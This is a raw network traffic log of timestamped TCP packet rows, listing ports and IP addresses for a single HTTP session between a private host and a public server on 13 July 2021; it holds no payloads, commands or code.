Jul 13, 2021 14:37:55.522010088 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.522026062 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.522051096 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.522067070 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.522083998 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.522099018 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.522114038 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.522130013 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.522147894 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.522162914 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.522178888 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.522196054 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.522212029 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.522227049 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.522242069 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.522258997 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.522274971 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.522299051 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.522314072 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.522336960 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.522351980 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.522371054 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.522387981 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.522404909 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.522420883 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.522437096 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.522453070 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.522469997 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.522471905 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.522485971 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.522502899 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.522519112 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.522535086 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.522551060 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.522566080 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.522584915 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.522586107 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.522607088 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.522623062 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.522629976 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.522640944 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.522664070 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.522680044 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.522697926 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.522708893 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.522727013 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.522743940 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.522761106 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.522777081 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.522792101 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.522809029 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.522825003 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.522840977 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.522856951 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.522881031 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.522897959 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.522913933 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.522929907 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.522947073 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.523108959 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.523323059 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.523348093 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.523380041 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.523408890 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.523411989 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.523439884 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.523459911 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.523479939 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.523483038 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.523528099 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.523555040 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.523641109 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.523663044 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.523684025 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.523704052 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.523709059 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.523725033 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.523737907 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.523750067 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.523783922 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.523791075 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.523804903 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.523827076 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.523847103 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.523849010 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.523869991 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.523876905 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.523890972 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.523910046 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.523910999 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.523936033 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.523958921 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.523964882 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.523977995 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.524000883 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.524002075 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.524020910 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.524040937 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.524053097 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.524063110 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.524081945 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.524081945 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.524106026 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.524127960 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.524135113 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.524173021 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.524322987 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.524477005 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.524525881 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.524779081 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.524821997 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.524842978 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.524861097 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.524931908 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.524955988 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.524981976 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.525007010 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.525024891 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.525043011 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.525048018 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.525069952 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.525090933 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.525110960 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.525130987 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.525152922 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.525161028 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.525219917 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.525388956 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.525412083 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.525433064 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.525455952 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.525480986 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.525497913 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.525516033 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.525523901 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.525568962 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.525594950 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.525597095 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.525618076 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.525640011 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.525661945 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.525682926 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.525686026 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.525703907 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.525724888 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.525768042 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.526062965 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.526063919 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.526251078 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.526281118 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.526302099 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.526324034 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.526345968 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.526349068 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.526376009 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.526424885 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.526441097 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.526498079 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.526520014 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.526546955 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.526588917 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.526593924 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.526612043 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.526648998 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.526669025 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.526690960 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.526694059 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.526712894 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.526763916 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.526819944 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.527020931 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.527168036 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.527192116 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.527213097 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.527244091 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.527271986 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.527276039 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.527297020 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.527318001 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.527338982 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.527347088 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.527362108 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.527383089 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.527405977 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.527406931 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.527430058 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.527448893 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.527456999 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.527471066 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.527489901 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.527532101 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.527587891 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.527962923 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.528131962 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.528162956 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.528184891 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.528234005 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.528256893 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.528287888 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.528311014 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.528364897 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.528438091 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.528470993 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.528492928 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.528513908 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.528532982 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.528536081 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.528553963 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.528574944 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.528597116 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.528615952 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.528619051 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.528640032 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.528661013 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.528681040 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.528681993 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.528703928 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.528724909 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.528748035 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.528748989 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.528820038 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.528883934 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.529040098 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.529068947 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.529089928 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.529110909 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.529130936 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.529150963 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.529171944 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.529172897 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.529195070 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.529220104 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.529263020 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.529340982 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.529381037 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.529519081 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.529577971 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.529659986 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.529685020 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.529706001 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.529761076 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.529767036 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.529844046 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.529851913 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.529867887 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.529890060 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.529908895 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.529923916 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.529932976 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.529954910 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.529978991 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.530002117 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.530014038 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.530024052 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.530046940 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.530070066 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.530091047 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.530093908 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.530112982 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.530132055 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.530154943 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.530155897 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.530178070 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.530215979 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.530287027 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.530293941 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.530318022 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.530338049 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.530361891 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.530385017 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.530396938 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.530405998 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.530427933 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.530448914 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.530468941 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.530492067 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.530493975 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.530513048 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.530534983 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.530536890 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.530560017 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.530580044 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.530620098 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.530632973 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.530669928 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.530680895 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.530694962 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.530718088 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.530740023 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.530749083 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.530761003 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.530782938 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.530802965 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.530807972 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.530870914 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.531239033 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.531440973 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.531464100 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.531490088 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.531527996 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.531528950 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.531558990 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.531582117 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.531589985 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.531605005 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.531625986 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.531650066 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.531672001 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.531692982 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.531698942 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.531718016 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.531759977 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.531781912 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.531802893 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.531805992 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.531825066 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.531846046 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.531867981 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.531872034 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.531889915 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.531913996 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.531928062 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.531935930 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.531956911 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.531976938 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.531984091 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.531997919 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.532017946 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.532068968 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.532113075 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:55.532459974 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.532486916 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:55.532510996 CEST	80	49757	47.254.186.176	192.168.2.3
